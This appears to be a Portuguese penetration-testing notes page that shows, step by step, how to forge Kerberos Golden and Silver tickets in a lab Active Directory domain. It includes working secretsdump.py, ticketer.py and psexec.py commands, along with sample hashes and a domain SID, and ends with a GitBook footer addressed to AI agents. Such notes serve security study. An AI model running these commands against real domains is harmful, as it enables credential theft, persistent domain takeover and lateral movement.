> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md).

# Kerberos Golden Ticket e Silver Ticket

O objetivo é forjar nossos próprios tickets Kerberos.

Para fazer isso, começamos recuperando os segredos necessários do controlador de domínio.

{% code overflow="wrap" %}

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="/files/8b02914b5e9c498be51bc92673eedc28a966e158" alt=""><figcaption></figcaption></figure>

Aqui recuperamos o hash da `krbtgt` conta.

* 2ebd06648a79ae82327c33648b68aa82

<figure><img src="/files/1cabbc94df44ad8a40596e02ad67cbbd0e31615e" alt=""><figcaption></figcaption></figure>

Também recuperamos o `SID do domínio`.

{% code overflow="wrap" %}

```bash
Get-ADDomain
```

{% endcode %}

* S-1-5-21-3587670147-487768648-1292400310

<figure><img src="/files/99c3cd8bc7e31827625528f3cff55f30f09eb4ce" alt=""><figcaption></figcaption></figure>

Com `ticketer.py` podemos gerar um Golden Ticket para essa conta.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local administrador
```

{% endcode %}

Em seguida, carregamos esse ticket no cache Kerberos local.

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

<figure><img src="/files/ece81a66991a537adebca7f167af92c0d057cf5e" alt=""><figcaption></figcaption></figure>

Depois que o ticket é carregado, podemos fazer login remotamente sem uma senha.

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="/files/bb858304f7edd93ff9c9476f44d53326033e98a2" alt=""><figcaption></figcaption></figure>

Para gerar um Silver Ticket, o princípio permanece o mesmo, mas o ticket é para um serviço específico.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local -spn cifs/DC01.whoami.local administrador
```

{% endcode %}

<figure><img src="/files/9dca06c5bcb76fce95b503285e8916fcb7c52965" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
